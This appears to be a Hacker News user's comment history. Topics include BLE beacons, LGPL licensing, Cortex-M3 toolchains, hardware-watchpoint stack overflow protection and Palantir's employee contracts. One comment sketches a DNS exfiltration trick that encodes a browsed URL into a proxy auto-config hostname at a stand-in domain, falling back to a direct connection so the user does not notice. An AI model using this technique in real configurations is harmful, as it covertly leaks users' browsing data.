1,284 karma · joined Oct 6, 2011 (15y ago) · 430 submissions
comment 9y ago · link · parent
Is listening for other BLE transmissions low power enough that it can be done while keeping the claimed "several years" battery life, or is there something extra going on to limit the power cost of listening?
Is the protocol between the beacons themselves actually BLE in the mesh case? Or do they just expose that to phones?
Are the beacons establishing BLE connections for the mesh, or are they just taking advantage of announcements (which would likely allow avoiding some power consumption as long as the message is small)? A mix?
comment 10y ago · link · parent
And it's a bit of a misconception that LGPL requires statically linked things to be open sourced: in that area it only requires that the LGPL components be replaceable (and the source for the LGPL components be available). In the context of static linking, that can be done by releasing pre-link binaries (object files) with instructions for linking them.
Of course, that's likely more work than just making the source available under a proprietary license (ie: provide source code so LGPL components can be replaced).
If you're using Qt GPL components, then yes, you'll need to open source your application (or pay for a Qt License)
comment 10y ago · link · parent
Rather than using CCS, one can use gcc or clang targeted to cortex-m3 (gcc target: arm-none-eabi + `-march=cortex-m3`, clang:thumbv7-eabi) to build the code (with the usual caveats that you're targeting a bare metal system).
The PRU is just a cortex-m3 core which is connected in interesting ways to the cortex-a8 on which linux runs. Nothing too exotic.
comment 10y ago · link · parent
From the FCC announcement (similar language is in the ruling):
> committing to investigate security solutions for certain 5 GHz band routers that would permit the use of third-party firmware
comment 10y ago · link · parent
Edit: even with sandboxing, I imagine they could encode the url into a hostname for a proxy and then use the DNS requests for the proxy to exfiltrate the url. Proxy auto-config allows specifying "PROXY my_encoded_url.other_data.example.com:8080; DIRECT" so that it would attempt the DNS lookup, and on it's failure fallback to using a direct connection so there wouldn't be much change visible to the user (just a slight extra delay due to dns lookup).
comment 10y ago · link · parent
1: https://en.wikipedia.org/wiki/Proxy_auto-config
Edit: note that in addition to SOCKS proxies, this also allows one to provide HTTP proxies. I'm not familiar with the interaction of https traffic with HTTP proxies, but I'd hope browsers avoid using them? Anyone familiar with this care to comment? (specs are sparse in this area)
comment 10y ago · link · parent
When programming for hardware began, it was very easy to shoot yourself in the foot with languages of the time, but over time new languages which made it harder (or eliminated certain foot-guns entirely) appeared.
For Etherium, I'd look at whether the ISA (set of opcodes) is complete enough to allow one to create a contract specification language with enough flexibility to do something while allowing a degree a safety.
Have there been attempts at alternates to Etherium's Solidity which generate smart contracts?
comment 10y ago · link · parent
> [...] employees who sell their shares agree agree that they will not compete with Palantir for 12 months or solicit any Palantir employees during that time [...] [and] agree to a nondisclosure arrangement that forbids them from even talking about the repurchase and waive any claims they might have against the company.
The nyt put forwards a reasonable idea that this is a mechanism to increase their perceived value, and I'm inclined to agree.
EDIT: the buzzfeed article [1] paints an even worse picture:
> If they [employees] get any inquiries about Palantir from reporters, the contract says, they must immediately notify Palantir and then email the company a copy of the inquiry within three business days.
[1]: https://www.buzzfeed.com/williamalden/palantir-seeks-to-muzz...
comment 10y ago · link · parent
I seriously doubt very much money will be payed out to users if this settlement is approved.
I'm sure the lawyers would be happy with it though:
> The deal also provides up to $2.25 million in attorneys' fees for the lawyers who brought suit.
That payout is equal to around ~40909 users who are able to prove they used the Other OS functionality. I'm doubtful that many exist.
comment 10y ago · link · parent
On point 3: `: ${FOO:-some default value}` is the typical pattern for ensuring a default value is set.
comment 10y ago · link · parent
1: https://github.com/jmesmon/ccan/blob/maskn/ccan/maskn/maskn....
comment 10y ago · link · parent
DWT includes "comparators" typically used as hardware watch points. My methodology was to use one of the DWT comparators to watch for something reading/writing the last u32 of the current task's stack. Note that this might not be perfect as it could be possible for the stack to somehow skip over the last u32.
Then, install a handler for the Debug Monitor exception (which triggers when a watch point is hit) to disable the DWT comparator, print/store the appropriate info, and finally reset the chip.
Essentially, we're behaving like a simple "debug monitor" which only is capable of setting a single hardware watch point automatically.
Note that DWT is technically an optional component in armv7m, so it may not be functional on every chip. That said, most folks like having debug capabilities (this is the same hardware that jtag debuggers use to set watchpoints), so most seem to include them. On that note: doing this can (to some extent) interfere with external debuggers. To mitigate some of that, I did try to use the last DWT comparator instead of the first, but this will really depend on how your debugger works.
comment 10y ago · link · parent
kasan, asan, and ubsan are similarly lacking in docs (but are also composed in much the same way). I imagine some of the profiling hooks are done similarly, but I have not yet looked into how to use them.
It'd be really nice if gcc considered these semi-public interfaces that they should document.
> I plan to add other other debugging features in the following weeks. I have an idea on how to use the MPU to prevent thread stack overflows (different from the buffer stack overflow we explored today).
On that note, one can actually abuse the debug hardware on cortex-m3 chips without an MPU to add stack overflow protection. Simply need some hooks into the scheduler around where it switches tasks (some already poison the top of their stacks & check for the poison on switching, the keep-out can typically be applied very close to these locations).
The debug hardware takes a base+mask, so one can theoretically block access to wider spans of memory that a single u32, but at that point calculating the best way to cover that memory range becomes a bit difficult.
comment 10y ago · link · parent
Drives that claim to do encryption themselves have their own issues (like not actually using the user provided key for encryption and other crypto failures from developers & companies not familiar with how crypto is supposed to work).